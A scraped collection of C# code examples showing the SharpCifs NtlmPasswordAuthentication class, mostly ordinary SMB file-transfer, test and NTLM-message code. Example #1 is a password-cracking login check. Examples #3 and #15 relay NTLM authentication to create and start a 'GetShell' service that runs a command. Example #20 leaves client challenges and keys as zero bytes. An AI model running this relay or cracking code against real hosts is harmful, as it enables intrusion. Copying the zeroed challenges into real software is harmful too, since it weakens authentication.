コード例 #1
0
ファイル: CrackSMB.cs プロジェクト: zone009/SNETCracker
        public override Server creack(string ip, int port, string username, string password, int timeOut)
        {
            Server server = new Server();

            try
            {
                if ("".Equals("空"))
                {
                    password = "";
                }
                UniAddress ud = UniAddress.GetByName(ip);
                NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication(ip, username, password);
                SmbConstants.DefaultConnTimeout     = timeOut * 1000;
                SmbConstants.DefaultResponseTimeout = timeOut * 1000;
                SmbConstants.DefaultSoTimeout       = timeOut * 1000;
                SmbSession.Logon(ud, port, auth);//验证是否能够成功登录
                server.isSuccess = true;
            }
            catch (SmbAuthException fe)
            {
                server.isSuccess = false;
            }
            catch (Exception e)
            {
                throw e;
            }
            return(server);
        }
コード例 #2
0
        private TaskStatus SendFileSmb(string file)
        {
            SharpCifs.Config.SetProperty("jcifs.smb.client.lport", "8137");
            var auth    = new NtlmPasswordAuthentication(_shareFolder.Domen, _shareFolder.UserName, _shareFolder.Password);
            var address = Path.Combine(@"smb://", _shareFolder.Address, Path.GetFileName(file));
            var smb     = new SmbFile(address, auth);

            try
            {
                if (smb.Exists())
                {
                    smb.Delete();
                }
                smb.CreateNewFile();
                using (var writeStream = smb.GetOutputStream())
                {
                    writeStream.Write(GetCopiedFile(file));
                }
                _logger.LogInformation("Успешно");
                return(TaskStatus.Completed);
            }
            catch (SmbException smbException)
            {
                FailedCopyingFiles.WithLabels("Ошибка при подключении").Set(1);
                _logger.LogError(smbException, "Ошибка при подключении");
                return(TaskStatus.Error);
            }
            catch (Exception ex)
            {
                FailedCopyingFiles.WithLabels("Ошибка при копировании файла").Set(1);
                _logger.LogError(ex, "Ошибка при копировании файла");
                return(TaskStatus.Error);
            }
        }
コード例 #3
0
        public void startSMBRelay(Queue <byte[]> ntlmQueue, String cmd)
        {
            Config.setNtlmContextFactory(new Config.QueuedNtlmContextFactoryImpl());
            NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication(".", "", "");

            auth.additionalData = ntlmQueue;
            Console.WriteLine("Setting up SMB relay...");

            /*
             * SmbFile f = new SmbFile("smb://127.0.0.1/C$/Windows/System32/utilman.exe", auth);
             * SmbFileOutputStream os = new SmbFileOutputStream(f);
             * os.Write(System.Text.Encoding.Unicode.GetBytes("start cmd.exe /k \"whoami\""));
             * os.Close();*/

            bool status = doPsexec("C:\\Windows\\System32\\cmd.exe", auth, cmd);

            if (status)
            {
                Console.WriteLine("Successfully started service");
                ntlmQueue.Enqueue(new byte[] { 99 });
                Config.signalHandlerClient.Set();
            }
            else
            {
                Console.WriteLine("Failed");
            }
        }
コード例 #4
0
        public static void Main(string[] args)
        {
            if (!Secrets.HasSecrets)
            {
                Console.WriteLine("F**K OFF!!!!");
            }


            Info.ServerName = Secrets.Get("ServerName");
            Info.ServerIP   = Secrets.Get("ServerIp");
            Info.UserName   = Secrets.Get("UserName");
            Info.Password   = Secrets.Get("Password");

            Auth = new NtlmPasswordAuthentication(null, Info.UserName, Info.Password);

            //**Change local port for NetBios.
            //  In many cases, use of the well-known port is restricted. **
            SharpCifs.Config.SetProperty("jcifs.smb.client.lport", "2137");

            BigFileTranferTest();


            Program.NameResolutionTest2();

            Program.NameResolutionTest();

            Program.LanScanTest();

            var end = 1;
        }
コード例 #5
0
        private Bitmap PegarImagensServidor(RegistroDeReforma registroDeReforma, int index)
        {
            Bitmap imagem = null;

            indexAtual = index;

            try
            {
                var firstLetterClient = registroDeReforma.NomeCliente.Substring(0, 1);
                var fullClientName    = registroDeReforma.NomeCliente.RemoveSpecialCaracters();
                var apelido           = registroDeReforma.NomeFantasia.RemoveSpecialCaracters();
                var cityName          = registroDeReforma.Cidade.RemoveSpecialCaracters();
                var dateRR            = DateTime.Now;
                var nf     = registroDeReforma.NotaFiscal;
                var rr     = registroDeReforma.DescricaoRR;
                var eqDesc = registroDeReforma.Equipamento.RemoveSpecialCaracters();

                var smbPath  = ConfigurationBase.Instance.SmbPath;
                var filePath = string.Format(ConfigurationBase.Instance.FilePath,
                                             firstLetterClient, fullClientName, apelido,
                                             cityName, dateRR.Year, nf, rr, eqDesc.TrimEnd());
                var auth2       = new NtlmPasswordAuthentication(ConfigurationBase.Instance.NetworkDomain, ConfigurationBase.Instance.NetworkUser, ConfigurationBase.Instance.NetworkPassword);
                var pathConfirm = new SmbFile(string.Format("{0}/{1}", smbPath, filePath), auth2);

                //Create file.
                if (pathConfirm.Exists())
                {
                    SmbFile file = pathConfirm.ListFiles().ToList()[index];

                    if (file.IsFile())
                    {
                        //Get readable stream.
                        var readStream = file.GetInputStream();

                        //Create reading buffer.
                        var memStream = new MemoryStream();

                        //Get bytes.
                        ((Stream)readStream).CopyTo(memStream);

                        //Dispose readable stream.
                        readStream.Dispose();

                        byte[] byteImage = memStream.ToArray();
                        imagem = BitmapFactory.DecodeByteArray(byteImage, 0, byteImage.Length);
                    }
                }

                else
                {
                    throw new Exception("Diretório não encontrado");
                }
            }
            catch (Exception ex)
            {
                Program.Main.ShowMessage(ex.Message, Android.Widget.ToastLength.Long, Base.Enums.ToastMessageType.Error);
            }

            return(imagem);
        }
コード例 #6
0
        /// <exception cref="UnknownHostException"></exception>
        /// <exception cref="System.UriFormatException"></exception>
        /// <exception cref="SharpCifs.Dcerpc.DcerpcException"></exception>
        public DcerpcPipeHandle(string url, NtlmPasswordAuthentication auth)
        {
            Binding = ParseBinding(url);
            url     = "smb://" + Binding.Server + "/IPC$/" + Runtime.Substring(Binding.Endpoint
                                                                               , 6);
            string @params = string.Empty;
            string server;
            string address;

            server = (string)Binding.GetOption("server");
            if (server != null)
            {
                @params += "&server=" + server;
            }
            address = (string)Binding.GetOption("address");
            if (server != null)
            {
                @params += "&address=" + address;
            }
            if (@params.Length > 0)
            {
                url += "?" + Runtime.Substring(@params, 1);
            }
            Pipe = new SmbNamedPipe(url, (unchecked (0x2019F) << 16) | SmbNamedPipe.PipeTypeRdwr
                                    | SmbNamedPipe.PipeTypeDceTransact, auth);
        }
コード例 #7
0
ファイル: DcerpcHandle.cs プロジェクト: mematrix/WinRTCifs
 /// <exception cref="UnknownHostException"></exception>
 /// <exception cref="System.UriFormatException"></exception>
 /// <exception cref="WinrtCifs.Dcerpc.DcerpcException"></exception>
 public static DcerpcHandle GetHandle(string url, NtlmPasswordAuthentication auth)
 {
     if (url.StartsWith("ncacn_np:"))
     {
         return(new DcerpcPipeHandle(url, auth));
     }
     throw new DcerpcException("DCERPC transport not supported: " + url);
 }
コード例 #8
0
 /// <summary>
 /// Constructs the NT response to the given Type-2 message using
 /// the supplied password.
 /// </summary>
 /// <remarks>
 /// Constructs the NT response to the given Type-2 message using
 /// the supplied password.
 /// </remarks>
 /// <param name="type2">The Type-2 message.</param>
 /// <param name="password">The password.</param>
 /// <returns>A <code>byte[]</code> containing the NT response.</returns>
 public static byte[] GetNTResponse(Type2Message type2, string password)
 {
     if (type2 == null || password == null)
     {
         return(null);
     }
     return(NtlmPasswordAuthentication.GetNtlmResponse(password, type2.GetChallenge()));
 }
コード例 #9
0
        private void InserirImagensServidor(RegistroDeReforma registroDeReforma)
        {
            foreach (var item in registroDeReforma.ListaDeImagens)
            {
                try
                {
                    //Remover Caracteres Especiais, Nome, NomeFantasia, Descricao do Equipamento e Cidade
                    //
                    //Primeira Letra nome Cliente/Nome --
                    //NomeFantasia /Unidade {Cidade}/Ano/NF NroNota R.R. NroRRConsulta DescricaoEquipamento/
                    //NomeImagem DataComUnderline
                    //Get the SmbFile specifying the file name to be created.

                    var firstLetterClient = registroDeReforma.NomeCliente.Substring(0, 1);
                    var fullClientName    = registroDeReforma.NomeCliente.RemoveSpecialCaracters();
                    var apelido           = registroDeReforma.NomeFantasia.RemoveSpecialCaracters();
                    var cityName          = registroDeReforma.Cidade.RemoveSpecialCaracters();
                    var dateRR            = DateTime.Parse(registroDeReforma.DataCadastro);
                    var nf     = registroDeReforma.NotaFiscal;
                    var rr     = registroDeReforma.DescricaoRR;
                    var eqDesc = registroDeReforma.Equipamento.RemoveSpecialCaracters();

                    var smbPath  = ConfigurationBase.Instance.SmbPath;
                    var filePath = string.Format(ConfigurationBase.Instance.FilePath,
                                                 firstLetterClient, fullClientName, apelido,
                                                 cityName, dateRR.Year, nf, rr, eqDesc.TrimEnd());
                    var fileName = string.Format("{0}.{1}", DateTime.Now.ToString("dd-MM-yyyy HH:mm:ss.fff").Replace('/', '_').Replace(':', '_').Replace(' ', '_'), "jpg");

                    var auth2       = new NtlmPasswordAuthentication(ConfigurationBase.Instance.NetworkDomain, ConfigurationBase.Instance.NetworkUser, ConfigurationBase.Instance.NetworkPassword);
                    var pathConfirm = new SmbFile(string.Format("{0}/{1}", smbPath, filePath), auth2);

                    //Create file.
                    if (!pathConfirm.Exists())
                    {
                        pathConfirm.Mkdirs();
                    }

                    var file = new SmbFile(string.Format("{0}/{1}/{2}", smbPath, filePath, fileName), auth2);
                    file.CreateNewFile();

                    //Get writable stream.
                    var writeStream = file.GetOutputStream();

                    //Write bytes.
                    writeStream.Write(Helpers.Helpers.GetImageArray(item));

                    //Dispose writable stream.
                    writeStream.Dispose();
                }
                catch (Exception ex)
                {
                    throw new Exception(ex.Message);
                }
            }
        }
コード例 #10
0
ファイル: Type3Message.cs プロジェクト: zxz2020/Emby
 public static byte[] GetLMv2Response(Type2Message type2, string domain, string user
                                      , string password, byte[] clientChallenge)
 {
     if (type2 == null || domain == null || user == null || password == null || clientChallenge
         == null)
     {
         return(null);
     }
     return(NtlmPasswordAuthentication.GetLMv2Response(domain, user, password, type2.GetChallenge
                                                           (), clientChallenge));
 }
コード例 #11
0
        private void CreateConnection()
        {
            if (_cifsOptions is SmbCifsBasicOptions optionsBasic)
            {
                if (optionsBasic.Hostname == null)
                {
                    throw new ArgumentNullException(nameof(optionsBasic.Hostname));
                }
                if (optionsBasic.Domain == null)
                {
                    throw new ArgumentNullException(nameof(optionsBasic.Domain));
                }
                if (optionsBasic.Username == null)
                {
                    throw new ArgumentNullException(nameof(optionsBasic.Username));
                }
                if (optionsBasic.UserPassword == null)
                {
                    throw new ArgumentNullException(nameof(optionsBasic.UserPassword));
                }

                _auth = new NtlmPasswordAuthentication(optionsBasic.Domain, optionsBasic.Username, optionsBasic.UserPassword);
            }
            else if (_cifsOptions is SmbCifsExtendedOptions optionsExtended)
            {
                if (optionsExtended.Hostname == null)
                {
                    throw new ArgumentNullException(nameof(optionsExtended.Hostname));
                }
                if (optionsExtended.Domain == null)
                {
                    throw new ArgumentNullException(nameof(optionsExtended.Domain));
                }
                if (optionsExtended.Username == null)
                {
                    throw new ArgumentNullException(nameof(optionsExtended.Username));
                }
                if (optionsExtended.Challenge == null)
                {
                    throw new ArgumentNullException(nameof(optionsExtended.Challenge));
                }
                if (optionsExtended.AnsiHash == null)
                {
                    throw new ArgumentNullException(nameof(optionsExtended.AnsiHash));
                }
                if (optionsExtended.UnicodeHash == null)
                {
                    throw new ArgumentNullException(nameof(optionsExtended.UnicodeHash));
                }

                _auth = new NtlmPasswordAuthentication(optionsExtended.Domain, optionsExtended.Username, optionsExtended.Challenge, optionsExtended.AnsiHash, optionsExtended.UnicodeHash);
            }
        }
コード例 #12
0
ファイル: Type3Message.cs プロジェクト: zxz2020/Emby
        public static byte[] GetNtlMv2Response(Type2Message type2, byte[] responseKeyNt,
                                               byte[] clientChallenge)
        {
            if (type2 == null || responseKeyNt == null || clientChallenge == null)
            {
                return(null);
            }
            long nanos1601 = (Runtime.CurrentTimeMillis() + MillisecondsBetween1970And1601
                              ) * 10000L;

            return(NtlmPasswordAuthentication.GetNtlMv2Response(responseKeyNt, type2.GetChallenge
                                                                    (), clientChallenge, nanos1601, type2.GetTargetInformation()));
        }
コード例 #13
0
ファイル: Program.cs プロジェクト: AlonDevGood/SmbClient
        static void Main(string[] args)
        {
            var config = new ConfigurationBuilder().SetBasePath(Directory.GetCurrentDirectory()).
                         AddJsonFile("appsettings.json")
                         .Build();

            var auth   = new NtlmPasswordAuthentication(string.Format("{0}:{1}", config["UserName"], config["Password"]));
            var folder = new SmbFile(string.Format("smb://{0}", config["NetworkPath"]), auth);

            Console.WriteLine(folder.GetPath());
            var writeStream = folder.GetOutputStream();

            writeStream.Write(Encoding.UTF8.GetBytes("Hello!"));
            writeStream.Dispose();
            Console.WriteLine("hi");
        }
コード例 #14
0
        private static void NameResolutionTest2()
        {
            var naddr = NbtAddress.GetByName($"COCO4");

            Out($"{naddr.GetHostName()}");

            var auth        = new NtlmPasswordAuthentication("", Info.UserName, Info.Password);
            var namedServer = new SmbFile($"smb://{Info.ServerIP}/", auth);
            var exists      = namedServer.Exists();

            var list = namedServer.ListFiles();

            foreach (var smb in list)
            {
                Out($"{smb.GetName()}");
            }
        }
コード例 #15
0
        public bool doPsexec(String binPath, NtlmPasswordAuthentication auth, String cmd)
        {
            Random       rnd     = new Random();
            int          randInt = rnd.Next(1, 10000000);
            String       host    = "127.0.0.1";
            DcerpcHandle handle  = DcerpcHandle.GetHandle("ncacn_np:" + host + "[\\pipe\\svcctl]", auth);

            // Open the SCManager on the remote machine and get a handle
            // for that open instance (scManagerHandle).
            Rpc.PolicyHandle     scManagerHandle  = new Rpc.PolicyHandle();
            svcctl.OpenSCManager openSCManagerRpc = new svcctl.OpenSCManager("\\\\" + host, null,
                                                                             (0x000F0000 | 0x0001 | 0x0002 | 0x0004 | 0x0008 | 0x0010 | 0x0020), scManagerHandle);
            handle.Sendrecv(openSCManagerRpc);
            if (openSCManagerRpc.retval != 0)
            {
                throw new SmbException(openSCManagerRpc.retval, true);
            }

            Rpc.PolicyHandle   svcHandle      = new Rpc.PolicyHandle();
            svcctl.OpenService openServiceRpc = new svcctl.OpenService(scManagerHandle,
                                                                       "GetShell" + randInt, svcctl.SC_MANAGER_ALL_ACCESS, svcHandle);
            handle.Sendrecv(openServiceRpc);

            // If the service didn't exist, create it.
            if (openServiceRpc.retval == 1060)
            {
                // Create a new service.
                svcHandle = new Rpc.PolicyHandle();
                //code 272 is for an interactive, own process service this was originally svcctl.SC_TYPE_SERVICE_WIN32_OWN_PROCESS
                svcctl.CreateServiceW createServiceWRpc = new svcctl.CreateServiceW(
                    scManagerHandle, "GetShell" + randInt, "GetShell" + randInt,
                    svcctl.SC_MANAGER_ALL_ACCESS, 272,
                    svcctl.SC_START_TYPE_SERVICE_DEMAND_START, svcctl.SC_SERVICE_ERROR_NORMAL,
                    cmd,
                    null, null, null, 0, null, null, 0, svcHandle);
                handle.Sendrecv(createServiceWRpc);
                if (createServiceWRpc.retval != 0)
                {
                    throw new SmbException(createServiceWRpc.retval, true);
                }
            }

            svcctl.StartService startServiceRpc = new svcctl.StartService(svcHandle, 0, new String[0]);
            handle.Sendrecv(startServiceRpc);
            return(true);
        }
コード例 #16
0
 private SmbFolder(SmbFile parent, String subPath)
 {
     try
     {
         if (!subPath.EndsWith("/"))
         {
             subPath = subPath + "/";
         }
         if (parent == null || String.IsNullOrEmpty(parent.Server))
         {
                                 #if DEBUG_SAMBA
             Android.Util.Log.Debug("SmbClient", "Create file with root path: " + "smb://" + subPath);
                                 #endif
             if (parent.Principal == null || String.IsNullOrEmpty(((NtlmPasswordAuthentication)parent.Principal).Username))
             {
                 NtlmPasswordAuthentication auth = NtlmAuthenticator.RequestNtlmPasswordAuthentication("LAST_USED_AUTH", null);
                 if (auth != null)
                 {
                     mSmbFile = new SmbFile("smb://" + subPath, auth);
                 }
                 else
                 {
                     mSmbFile = new SmbFile("smb://" + subPath, new NtlmPasswordAuthentication(String.Empty, "GUEST", String.Empty));
                 }
             }
             else
             {
                 mSmbFile = new SmbFile("smb://" + subPath, (NtlmPasswordAuthentication)parent.Principal);
             }
         }
         else
         {
                                 #if DEBUG_SAMBA
             Android.Util.Log.Debug("SmbClient", "Create file with sub path: " + parent.Path + "/" + subPath);
                                 #endif
             mSmbFile = new SmbFile(parent, subPath);
         }
     }
     catch (SmbException ex)
     {
         LogException(ex);
         throw new System.IO.IOException(ex.Message, ex);
     }
 }
コード例 #17
0
        public void AuthTest()
        {
            var auth1     = new NtlmPasswordAuthentication($"{this.UserName}:{this.Password}");
            var startTime = default(DateTime);

            var file = new SmbFile(this.GetUriString("FreeArea/SharpCifsTest/test.txt"));

            Assert.IsTrue(file.Exists());


            startTime = DateTime.Now;
            for (var i = 0; i < 5; i++)
            {
                var file1 = new SmbFile($"smb://{this.ServerName}/FreeArea/SharpCifsTest/test.txt", auth1);
                Assert.IsTrue(file1.Exists());
            }
            this.Out($"use auth1: {(DateTime.Now - startTime).TotalMilliseconds} msec");


            var auth2 = new NtlmPasswordAuthentication(null, this.UserName, this.Password);

            startTime = DateTime.Now;
            for (var i = 0; i < 5; i++)
            {
                var file1 = new SmbFile($"smb://{this.ServerName}/FreeArea/SharpCifsTest/test.txt", auth2);
                Assert.IsTrue(file1.Exists());
            }
            this.Out($"use auth2: {(DateTime.Now - startTime).TotalMilliseconds} msec");


            startTime = DateTime.Now;
            for (var i = 0; i < 5; i++)
            {
                var file1 =
                    new SmbFile(
                        $"smb://{this.UserName}:{this.Password}@{this.ServerName}/FreeArea/SharpCifsTest/test.txt");
                Assert.IsTrue(file1.Exists());
            }
            this.Out($"use url  : {(DateTime.Now - startTime).TotalMilliseconds} msec");
        }
コード例 #18
0
        private int PegaQuantidadeImagensServidor(RegistroDeReforma registroDeReforma)
        {
            int quantidadeImagens = 0;

            try
            {
                var firstLetterClient = registroDeReforma.NomeCliente.Substring(0, 1);
                var fullClientName    = registroDeReforma.NomeCliente.RemoveSpecialCaracters();
                var apelido           = registroDeReforma.NomeFantasia.RemoveSpecialCaracters();
                var cityName          = registroDeReforma.Cidade.RemoveSpecialCaracters();
                var dateRR            = DateTime.Now;
                var nf     = registroDeReforma.NotaFiscal;
                var rr     = registroDeReforma.DescricaoRR;
                var eqDesc = registroDeReforma.Equipamento.RemoveSpecialCaracters();

                var smbPath  = ConfigurationBase.Instance.SmbPath;
                var filePath = string.Format(ConfigurationBase.Instance.FilePath,
                                             firstLetterClient, fullClientName, apelido,
                                             cityName, dateRR.Year, nf, rr, eqDesc.TrimEnd());
                var auth2       = new NtlmPasswordAuthentication(ConfigurationBase.Instance.NetworkDomain, ConfigurationBase.Instance.NetworkUser, ConfigurationBase.Instance.NetworkPassword);
                var pathConfirm = new SmbFile(string.Format("{0}{1}", smbPath, filePath), auth2);

                //Create file.
                if (pathConfirm.Exists())
                {
                    quantidadeImagens = pathConfirm.ListFiles().Length;
                }
                else
                {
                    quantidadeImagens = 0;
                }
            }
            catch (Exception ex)
            {
                Program.Main.ShowMessage(ex.Message, Android.Widget.ToastLength.Long, Base.Enums.ToastMessageType.Error);
            }

            return(quantidadeImagens);
        }
コード例 #19
0
        private async Task GetData()
        {
            try
            {
                Trace.WriteLine(Invariant($"Connecting to {DeviceIP}"));
                ClearSmbState();

                DateTime localTime = DateTime.Now.ToLocalTime();
                string   path      = Invariant($"smb://{DeviceIP}/airvisual/{localTime.Year}{localTime.Month:00}_AirVisual_values.txt");

                var    auth       = new NtlmPasswordAuthentication(null, credentials.UserName, credentials.Password);
                string lastString = null;
                var    smbFile    = new SmbFile(path, auth, SmbFile.FileShareRead | SmbFile.FileShareWrite);
                smbFile.Connect();

                using (Stream fileStream = smbFile.GetInputStream())
                {
                    var length = fileStream.Length;
                    Trace.WriteLine(Invariant($"Reading from {path} with size {length} Bytes"));

                    int bufferSize = 512;
                    fileStream.Seek(-Math.Min(bufferSize, length), SeekOrigin.End);

                    var pos = fileStream.Position;

                    using (var reader = new StreamReader(fileStream, Encoding.ASCII, false, bufferSize))
                    {
                        string lastData = await reader.ReadToEndAsync().ConfigureAwait(false);

                        foreach (var reading in lastData.Split('\n'))
                        {
                            if (!string.IsNullOrWhiteSpace(reading))
                            {
                                lastString = reading;
                            }
                        }
                    }
                }

                if (string.IsNullOrWhiteSpace(lastString))
                {
                    throw new IOException("Last String Read From file is empty");
                }

                Trace.WriteLine(Invariant($"Found data {lastString} from {path}"));

                var tokens = lastString.Split(';');

                SensorData sensorData = new SensorData
                {
                    //Date;Time;Timestamp;PM2_5(ug/m3);AQI(US);AQI(CN);PM10(ug/m3);Outdoor AQI(US);Outdoor AQI(CN);Temperature(C);Temperature(F);Humidity(%RH);CO2(ppm);VOC(ppb)
                    updateTime = new DateTime(DateTimeOffset.FromUnixTimeSeconds(ParseLong(tokens, 2)).Ticks)
                };

                if (lastUpdate != sensorData.updateTime)
                {
                    sensorData.PM25             = ParseValue(tokens, 3);
                    sensorData.PM25AQI          = ParseValue(tokens, 4);
                    sensorData.PM25AQICN        = ParseValue(tokens, 5);
                    sensorData.PM10             = ParseValue(tokens, 6);
                    sensorData.OutsidePM25AQI   = ParseValue(tokens, 7);
                    sensorData.OutsidePM25AQICN = ParseValue(tokens, 8);
                    sensorData.TemperatureC     = ParseValue(tokens, 9);
                    sensorData.TemperatureF     = ParseValue(tokens, 10);
                    sensorData.Humidity         = ParseValue(tokens, 11);
                    sensorData.CO2 = ParseValue(tokens, 12);

                    UpdateDelta(sensorData);
                    lastUpdate = sensorData.updateTime;
                    Trace.TraceInformation(Invariant($"Updated data for device {DeviceIP} for time {sensorData.updateTime}"));
                }
            }
            catch (Exception ex)
            {
                if (ex.IsCancelException())
                {
                    throw;
                }

                Trace.TraceError(Invariant($"Failed to get data from {DeviceIP}. {ex.GetFullMessage()}."));
            }
        }
コード例 #20
0
        /// <summary>Creates a Type-3 message in response to the given Type-2 message.</summary>
        /// <remarks>Creates a Type-3 message in response to the given Type-2 message.</remarks>
        /// <param name="type2">The Type-2 message which this represents a response to.</param>
        /// <param name="password">The password to use when constructing the response.</param>
        /// <param name="domain">The domain in which the user has an account.</param>
        /// <param name="user">The username for the authenticating user.</param>
        /// <param name="workstation">
        /// The workstation from which authentication is
        /// taking place.
        /// </param>
        public Type3Message(Type2Message type2,
                            string password,
                            string domain,
                            string user,
                            string workstation,
                            int flags)
        {
            SetFlags(flags | GetDefaultFlags(type2));
            if (workstation == null)
            {
                workstation = GetDefaultWorkstation();
            }
            SetWorkstation(workstation);
            SetDomain(domain);
            SetUser(user);
            switch (LmCompatibility)
            {
            case 0:
            case 1:
            {
                if ((GetFlags() & NtlmsspNegotiateNtlm2) == 0)
                {
                    SetLmResponse(GetLMResponse(type2, password));
                    SetNtResponse(GetNTResponse(type2, password));
                }
                else
                {
                    // NTLM2 Session Response
                    byte[] clientChallenge = new byte[24];
                    //RANDOM.NextBytes(clientChallenge);
                    Arrays.Fill(clientChallenge, 8, 24, unchecked ((byte)unchecked (0x00)));
                    // NTLMv1 w/ NTLM2 session sec and key exch all been verified with a debug build of smbclient
                    byte[] responseKeyNt
                        = NtlmPasswordAuthentication.NtowFv1(password);
                    byte[] ntlm2Response
                        = NtlmPasswordAuthentication.GetNtlm2Response(responseKeyNt,
                                                                      type2.GetChallenge(),
                                                                      clientChallenge);
                    SetLmResponse(clientChallenge);
                    SetNtResponse(ntlm2Response);
                    if ((GetFlags() & NtlmsspNegotiateSign) == NtlmsspNegotiateSign)
                    {
                        byte[] sessionNonce = new byte[16];
                        Array.Copy(type2.GetChallenge(), 0, sessionNonce, 0, 8);
                        Array.Copy(clientChallenge, 0, sessionNonce, 8, 8);
                        Md4 md4 = new Md4();
                        md4.Update(responseKeyNt);
                        byte[]  userSessionKey = md4.Digest();
                        Hmact64 hmac           = new Hmact64(userSessionKey);
                        hmac.Update(sessionNonce);
                        byte[] ntlm2SessionKey = hmac.Digest();
                        if ((GetFlags() & NtlmsspNegotiateKeyExch) != 0)
                        {
                            _masterKey = new byte[16];
                            //RANDOM.NextBytes(masterKey);
                            byte[] exchangedKey = new byte[16];
                            Rc4    rc4          = new Rc4(ntlm2SessionKey);
                            rc4.Update(_masterKey, 0, 16, exchangedKey, 0);
                            SetSessionKey(exchangedKey);
                        }
                        else
                        {
                            _masterKey = ntlm2SessionKey;
                            SetSessionKey(_masterKey);
                        }
                    }
                }
                break;
            }

            case 2:
            {
                byte[] nt = GetNTResponse(type2, password);
                SetLmResponse(nt);
                SetNtResponse(nt);
                break;
            }

            case 3:
            case 4:
            case 5:
            {
                byte[] responseKeyNt1
                    = NtlmPasswordAuthentication.NtowFv2(domain, user, password);
                byte[] clientChallenge1 = new byte[8];
                //RANDOM.NextBytes(clientChallenge_1);
                SetLmResponse(GetLMv2Response(type2, domain, user, password, clientChallenge1));
                byte[] clientChallenge2 = new byte[8];
                //RANDOM.NextBytes(clientChallenge2);
                SetNtResponse(GetNtlMv2Response(type2, responseKeyNt1, clientChallenge2));
                if ((GetFlags() & NtlmsspNegotiateSign) == NtlmsspNegotiateSign)
                {
                    Hmact64 hmac = new Hmact64(responseKeyNt1);
                    hmac.Update(_ntResponse, 0, 16);
                    // only first 16 bytes of ntResponse
                    byte[] userSessionKey = hmac.Digest();
                    if ((GetFlags() & NtlmsspNegotiateKeyExch) != 0)
                    {
                        _masterKey = new byte[16];
                        //RANDOM.NextBytes(masterKey);
                        byte[] exchangedKey = new byte[16];
                        Rc4    rc4          = new Rc4(userSessionKey);
                        rc4.Update(_masterKey, 0, 16, exchangedKey, 0);
                        SetSessionKey(exchangedKey);
                    }
                    else
                    {
                        _masterKey = userSessionKey;
                        SetSessionKey(_masterKey);
                    }
                }
                break;
            }

            default:
            {
                SetLmResponse(GetLMResponse(type2, password));
                SetNtResponse(GetNTResponse(type2, password));
                break;
            }
            }
        }
コード例 #21
0
        public void GetCanonicalPathTest()
        {
            var     stopHere = 1;
            var     auth     = new NtlmPasswordAuthentication($"{this.UserName}:{this.Password}");
            string  url;
            string  path;
            SmbFile smb;

            //ファイル名 - 加工なし
            url  = $"smb://{this.ServerName}/Apps/Others/[BinaryEditor] Stirling.zip";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual(url, path);

            //フォルダ名 - 加工なし
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest/";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual(url, path);

            //不正なフォルダ名だが、加工なし
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual(url, path);

            //相対パスを絶対化
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest/../";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual($"smb://{this.ServerName}/FreeArea/", path);

            //相対パスを絶対化
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest/.././";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual($"smb://{this.ServerName}/FreeArea/", path);

            //相対パスを絶対化
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest/../.";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual($"smb://{this.ServerName}/FreeArea/", path);

            //相対パスを絶対化
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest/..";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual($"smb://{this.ServerName}/FreeArea/", path);

            //相対パスを絶対化
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest/../../Apps/./Others/[BinaryEditor] Stirling.zip";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual($"smb://{this.ServerName}/Apps/Others/[BinaryEditor] Stirling.zip", path);

            //実際に存在するかどうかは検証せず、相対パスを絶対化
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest/../../NOT-EXISTS-SHARE/NOT-EXISTS-FILE.txt";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual($"smb://{this.ServerName}/NOT-EXISTS-SHARE/NOT-EXISTS-FILE.txt", path);

            //末尾にスペースを入れる
            url  = $"smb://{this.ServerName}/FreeArea/SharpCifsTest  ";
            smb  = new SmbFile(url, auth);
            path = smb.GetCanonicalPath();
            Assert.AreEqual($"smb://{this.ServerName}/FreeArea/SharpCifsTest", path); //スペースが無くなるはず
        }
コード例 #22
0
 public SmbFileOperationHelper(IConfiguration iconfiguration)
 {
     this.iconfiguration = iconfiguration;
     InitializeFromAppSettings();
     authenticationObject = new NtlmPasswordAuthentication(Domain, User, Password);
 }
コード例 #23
0
        public Task <List <String> > GetSubFolderNames()
        {
            if (mSmbFile == null)
            {
                return(Task.FromResult(new List <String>()));
            }

            return(Task.Factory.StartNew(() => {
                var result = new List <String>();
                try
                {
                    bool hasTriedLastAuth = false;
                    SmbOperations.WithRetries(() =>
                    {
                        result.Clear();
                        try
                        {
                                                        #if DEBUG_SAMBA
                            Android.Util.Log.Debug("SmbClient", "Getting sub folders");
                                                        #endif

                            var subList = mSmbFile.ListFiles();
                            foreach (var element in subList)
                            {
                                try
                                {
                                    if (!element.IsFile)
                                    {
                                        switch (element.Type)
                                        {
                                        case SmbFile.TypeFilesystem:
                                        case SmbFile.TypeWorkgroup:
                                        case SmbFile.TypeServer:
                                        case SmbFile.TypeShare:
                                            result.Add(element.Name);
                                            break;

                                        default:
                                            break;
                                        }
                                    }
                                }
                                catch (SmbException)
                                {
                                }
                                catch (Java.IO.IOException)
                                {
                                }
                            }
                            return result;
                        }
                        catch (SmbAuthException ex)
                        {
                            NtlmPasswordAuthentication auth = null;
                            if (!hasTriedLastAuth)
                            {
                                auth = NtlmAuthenticator.RequestNtlmPasswordAuthentication("LAST_USED_AUTH", ex);
                                hasTriedLastAuth = true;
                            }
                            else
                            {
                                auth = NtlmAuthenticator.RequestNtlmPasswordAuthentication(mSmbFile.Path, ex);
                            }
                            if (auth != null)
                            {
                                mSmbFile = new SmbFile(mSmbFile.Path, auth);
                                throw;
